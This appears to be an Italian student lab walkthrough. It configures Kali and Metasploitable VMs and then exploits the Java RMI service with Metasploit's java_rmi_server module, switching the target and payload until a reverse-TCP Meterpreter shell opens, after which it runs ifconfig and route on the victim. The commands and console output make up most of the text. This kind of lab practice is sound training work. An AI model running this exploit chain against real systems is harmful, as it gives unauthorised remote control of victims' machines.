

Settare la macchina metasploitable con l'indirizzo ip 192.168.11.112

```
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:e0:d6:45
          inet addr:192.168.11.112  Bcast:192.168.11.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fee0:d645/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1964 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1821 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:1185219 (1.1 MB)  TX bytes:128900 (125.8 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:990 errors:0 dropped:0 overruns:0 frame:0
          TX packets:990 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:464017 (453.1 KB)  TX bytes:464017 (453.1 KB)

msfadmin@metasploitable:~$
```

Per settare l'ip digitare il comando `sudo nano /etc/network/interfaces`

```
msfadmin@metasploitable:~$ sudo nano /etc/network/interfaces_
```

Settare il file come segue

```
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.11.112
netmask 255.255.255.0
gateway 192.168.11.1
dns-nameservers 8.8.8.8 8.8.4.4
```

[Read 14 lines]

^G Get Help ^O WriteOut ^R Read File ^V Prev Page ^K Cut Text ^C Cur Pos
^X Exit ^J Justify ^W Where Is ^U Next Page ^U UnCut Text ^T To Spell

Effettuare gli stessi comandi su kali linux

```
(kali@kali)-[~]
└─$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.11.111 netmask 255.255.255.0 broadcast 192.168.1.255
    inet6 fe80::a00:27ff:fe34:f4be prefixlen 64 scopeid 0x20<link>
    ether 08:00:27:34:f4:be txqueuelen 1000 (Ethernet)
    RX packets 1775 bytes 136251 (133.0 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 1990 bytes 1177962 (1.1 MiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0x10<host>
    loop txqueuelen 1000 (local loopback)
    RX packets 91 bytes 6683 (6.5 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 91 bytes 6683 (6.5 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

Digitare il comando msfconsole su kali linux

```
(kali@kali)-[~]
└─$ msfconsole
Metasploit tip: Network adapter names can be used for IP options set LHOST
eth0
```



```
--[ metasploit v6.2.43-dev ]
+ -- --[ 2376 exploits - 1232 auxiliary - 416 post ]
+ -- --[ 1391 payloads - 46 encoders - 11 nops ]
+ -- --[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/
msf6 > |
```

Cercare la vulnerabilità con il comando search Java rmi

Digitare il comando use 4 per selezionare il Modulo evidenziato sopra

Usa il comando `set RHOSTS` per settare RHOSTS seguito dall'ip della macchina target

Ridigitare il comando show options per controllare di aver settato l' RHOSTS

```

exploit target:

Id  Name
--  ---
0   Generic (Java Payload)

View the full module info with the info, or info -d command.

msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/EqHomJDHT
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header...
[*] 192.168.11.112:1099 - Sending RMI Call...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Exploit completed, but no session was created.
msf6 exploit(multi/misc/java_rmi_server) > show target
[-] Invalid parameter "target", use "show -h" for more information
msf6 exploit(multi/misc/java_rmi_server) > showtarget
[-] Unknown command: showtarget
msf6 exploit(multi/misc/java_rmi_server) > show targets

Exploit targets:
=====
Id  Name
--  ---
=> 0   Generic (Java Payload)
1   Windows x86 (Native Payload)
2   Linux x86 (Native Payload)
3   Mac OS X PPC (Native Payload)
4   Mac OS X x86 (Native Payload)

msf6 exploit(multi/misc/java_rmi_server) > set target 2
target => 2

```

Digitare il comando exploit come sopra indicato.

Il caricamento del payload fallirà come sopra indicato.

Per poter riuscire ad adempiere il compiere bisogna cambiare payload

```

exploit target:

Id  Name
--  ---
0   Generic (Java Payload)

View the full module info with the info, or info -d command.

msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/EqHomJDHT
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header...
[*] 192.168.11.112:1099 - Sending RMI Call...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Exploit completed, but no session was created.
msf6 exploit(multi/misc/java_rmi_server) > show target
[-] Invalid parameter "target", use "show -h" for more information
msf6 exploit(multi/misc/java_rmi_server) > showtarget
[-] Unknown command: showtarget
msf6 exploit(multi/misc/java_rmi_server) > show targets

Exploit targets:
=====
Id  Name
--  ---
=> 0   Generic (Java Payload)
1   Windows x86 (Native Payload)
2   Linux x86 (Native Payload)
3   Mac OS X PPC (Native Payload)
4   Mac OS X x86 (Native Payload)

msf6 exploit(multi/misc/java_rmi_server) > set target 2
target => 2

```

Per fare questo bisogna digitare il comando show target, grazie a questo comando si potranno vedere una serie di exploit targets

Digitare dunque il comando “set target 2”

```
msf6 exploit(multi/misc/java_msi_server) > show payloads

Compatible Payloads
=====
# Name Disclosure Date Rank Check Description
- - - - -
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_ssh normal No Command Shell, Bind SSH (via AWS API)
3 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
4 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
5 payload/generic/ssh/interact normal No Interact with Established SSH Connection
6 payload/generic/tight_loop normal No Generic x86 Tight Loop
7 payload/linux/x86/chmod normal No Linux Chmod
8 payload/linux/x86/exec normal No Linux Execute Command
9 payload/linux/x86/meterpreter/bind_ipv6_tcp normal No Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
10 payload/linux/x86/meterpreter/bind_ipv6_tcp.uid normal No Linux Mettle x86, Bind IPv6 TCP Stager with UID Support (Linux x86)
11 payload/linux/x86/meterpreter/bind_nonx_tcp normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
12 payload/linux/x86/meterpreter/bind_tcp normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
13 payload/linux/x86/meterpreter/bind_tcp.uid normal No Linux Mettle x86, Bind TCP Stager with UID Support (Linux x86)
14 payload/linux/x86/meterpreter/reverse_ipv6_tcp normal No Linux Mettle x86, Reverse TCP Stager (IPv6)
15 payload/linux/x86/meterpreter/reverse_nonx_tcp normal No Linux Mettle x86, Reverse TCP Stager
16 payload/linux/x86/meterpreter/reverse_tcp normal No Linux Mettle x86, Reverse TCP Stager
17 payload/linux/x86/meterpreter/reverse_tcp.uid normal No Linux Mettle x86, Reverse TCP Stager
18 payload/linux/x86/meterpreter/reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
19 payload/linux/x86/meterpreter/reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
20 payload/linux/x86/meterpreter/reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
21 payload/linux/x86/metircvc_bind_tcp normal No Linux Meterpreter Service, Bind TCP
22 payload/linux/x86/metircvc_reverse_tcp normal No Linux Meterpreter Service, Reverse TCP Inline
23 payload/linux/x86/read_file normal No Linux Read File
24 payload/linux/x86/shell/bind_ipv6_tcp normal No Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
25 payload/linux/x86/shell/bind_ipv6_tcp.uid normal No Linux Command Shell, Bind IPv6 TCP Stager with UID Support (Linux x86)
26 payload/linux/x86/shell/bind_nonx_tcp normal No Linux Command Shell, Bind TCP Stager
27 payload/linux/x86/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager (Linux x86)
28 payload/linux/x86/shell/bind_tcp.uid normal No Linux Command Shell, Bind TCP Stager with UID Support (Linux x86)
29 payload/linux/x86/shell/reverse_ipv6_tcp normal No Linux Command Shell, Reverse TCP Stager (IPv6)
30 payload/linux/x86/shell/reverse_nonx_tcp normal No Linux Command Shell, Reverse TCP Stager
31 payload/linux/x86/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
32 payload/linux/x86/shell/reverse_tcp.uid normal No Linux Command Shell, Reverse TCP Stager
33 payload/linux/x86/shell/bind_ipv6_tcp normal No Linux Command Shell, Bind TCP Inline (IPv6)
34 payload/linux/x86/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
35 payload/linux/x86/shell_bind_tcp.random_port normal No Linux Command Shell, Bind TCP Random Port Inline
36 payload/linux/x86/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
37 payload/linux/x86/shell_reverse_tcp.ipv6 normal No Linux Command Shell, Reverse TCP Inline (IPv6)

msf6 exploit(multi/misc/java_msi_server) > set payload 16
payload => linux/x86/meterpreter/reverse_tcp
```

Digitare il comando show payload per visualizzare tutti i payload disponibili legati all’opzione selezionata in precedenza.

```
msf6 exploit(linux/x86/meterpreter_reverse_tcp) > set payload 16
payload => linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/x86/meterpreter_reverse_tcp) > rerun
[*] Reloading module...

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/lGKaJD8ask
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header...
[*] 192.168.11.112:1099 - Sending RMI Call...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (101704 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 -> 192.168.11.112:50173) at 2024-03-08 17:44:21 +0100

meterpreter > |
```

Digitare il comando set payload 16 perché è il payload per via del fatto che è un payload simile a quello usato all’inizio e lo si comprende dalla parte /x86/meterpreter/reverse_tcp

Digito il comando rerun per rilanciare il payload

```
[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/lGKaJD8ask
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header...
[*] 192.168.11.112:1099 - Sending RMI Call...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (101704 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 -> 192.168.11.112:50173) at 2024-03-08 17:44:21 +0100

meterpreter > ifconfig

Interface 1
=====
Name : lo
Hardware MAC : 00:00:00:00:00:00
MTU : 16436
Flags : UP,LOOPBACK
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff::

Interface 2
=====
Name : eth0
Hardware MAC : 08:00:27:e0:d6:45
MTU : 1500
Flags : UP,BROADCAST,MULTICAST
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fee0:d645
IPv6 Netmask : ffff:ffff:ffff:ffff::

meterpreter > |
```

Una volta fatto questo mi trovo in meterpreter a questo punto digito il comando ifconfig per visualizzare l'ip target dal momento che tramite meterpreter sono all'interno della macchina target . nella sezione interfaces al punto evidenziato posso visualizzare l'ip target.

```
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fee0:d645
IPv6 Netmask : ffff:ffff:ffff:ffff::

meterpreter > route

IPv4 network routes
=====
Subnet      Netmask      Gateway      Metric  Interface
-----
0.0.0.0     0.0.0.0      192.168.11.1 100     eth0
192.168.11.0 255.255.255.0 0.0.0.0      0       eth0

No IPv6 routes were found.
meterpreter > |
```

A questo punto digito il comando route per trovare le informazioni sulla tabella di routing della macchina vittima.